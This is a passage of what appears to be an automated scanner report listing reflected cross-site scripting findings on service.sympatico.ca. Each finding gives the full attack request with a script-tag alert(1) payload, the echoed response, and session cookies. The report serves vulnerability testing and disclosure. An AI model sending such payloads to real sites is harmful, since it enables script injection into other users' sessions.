gs%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:17:27 GMT
Connection: close
Set-Cookie: SMSESSION=gbBQZkocDvDBf1+5yUYM50A6ZG2j8xIZf0w7ssbUAjJbSX1pthEr/Xf67LaigxV1+C148gU4FD8wzHcrC69u+1LRKzSZCjbAY4BwFwxhQJK0t4L90ag5iu+Y/FF22mauTktfjWB7jPhlz9gnATrEhMg1aRe2foTYSd11VupKrd7AKDkdhpbMkRqRW+AYK28A4kvzDTzUwZd4YG/PfaSJflO0i6qddcV6pbCy5MAHHj9kld5Wuuwu1YGBWT1FmEqMS6FxLklouLOggvP8sxknFWxgan7ORAmJFQnHQhtVhoiju7vgFQhGrA==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:17:27 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:17:27 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:17:27 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:17:27 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:17:27 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:17:27 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:17:27 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:17:27 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:17:27 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:17:27 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:17:27 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:17:27 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:17:27 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:17:27 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
ex.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavBilling.pngd106d"><script>alert(1)</script>a57da40028e" />
...[SNIP]...

2.138. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavBilling.png [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavBilling.png

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c771d"><script>alert(1)</script>a53058e1df1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavBilling.png?c771d"><script>alert(1)</script>a53058e1df1=1 HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:17:13 GMT
Connection: close
Set-Cookie: SMSESSION=Tm+Ob58fvLFXxKYwgRZCPoa4DB+3UMNVYrRWEaGjMBYlTM7Qg0p2u3/+OYrCoVuQONizGo2CmUZKb0SFg+AZTdmmxs4fkuAO6NB3Q1/QkcTxYgYvOf3pogaBcLKPbAS+PUUcyzWHlTH3c5vhs1LaNrRpmdjnoddJ0Pt8+lolutV+4qCPyciKVcCQyr0pripB6BSnC2BBwgWvUYSOcoTCz5wtEmm1kblRb51CNnMT+43KW2cGUTZB80egy1/DLMHBlrxkD/+a2db3vBRRALmILwZsQe81qRyTxJJ6XnjCFellcDFZ+lip3g==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:17:14 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:17:14 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:17:14 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:17:14 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:17:14 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:17:14 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:17:14 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:17:14 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:17:14 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:17:14 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:17:14 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:17:14 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:17:14 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:17:14 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
x.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavBilling.png?c771d"><script>alert(1)</script>a53058e1df1=1" />
...[SNIP]...

2.139. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavBundles.png [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavBundles.png

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9d45a"><script>alert(1)</script>01e60be51ef was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C9d45a"><script>alert(1)</script>01e60be51ef/images/icons/vi_topNavBundles.png HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:17:22 GMT
Connection: close
Set-Cookie: SMSESSION=Ci2m9AWrZ27G8JXlbeiqvWgQNiyMxNHXaEb7jwav0KnOrK3hn7jvsBL6RybEsgk3dVp1YNCew0PXn1zPQQVjJ7xv4PXy/mV5aSBhZ134z2ikLOQUgEYQYFC7vfsu2JJWVYooioNnEhIZaZ6lRmpB2SCC7PyuytPqDEPyGBtMaVgRddDTzguYKfL27wqd9HZaLfUZalLt7EIWtX1eeRPBIF1tn1xlhYuKJ2oUXEHp6ZB8Vm7TQlcDbOIr01R2RJDBqPyhPh0Q/p4SooHxtddInDfl4ywgHMQiZEGIASHsSRXhaxfsEMCZPQ==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:17:22 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:17:22 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:17:22 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:17:22 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:17:22 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:17:22 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:17:22 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:17:22 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:17:22 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:17:22 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:17:22 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:17:22 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:17:22 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:17:22 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
e="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C9d45a"><script>alert(1)</script>01e60be51ef/images/icons/vi_topNavBundles.png" />
...[SNIP]...

2.140. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavBundles.png [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavBundles.png

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 26811"><script>alert(1)</script>d271ee996cc was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images26811"><script>alert(1)</script>d271ee996cc/icons/vi_topNavBundles.png HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3F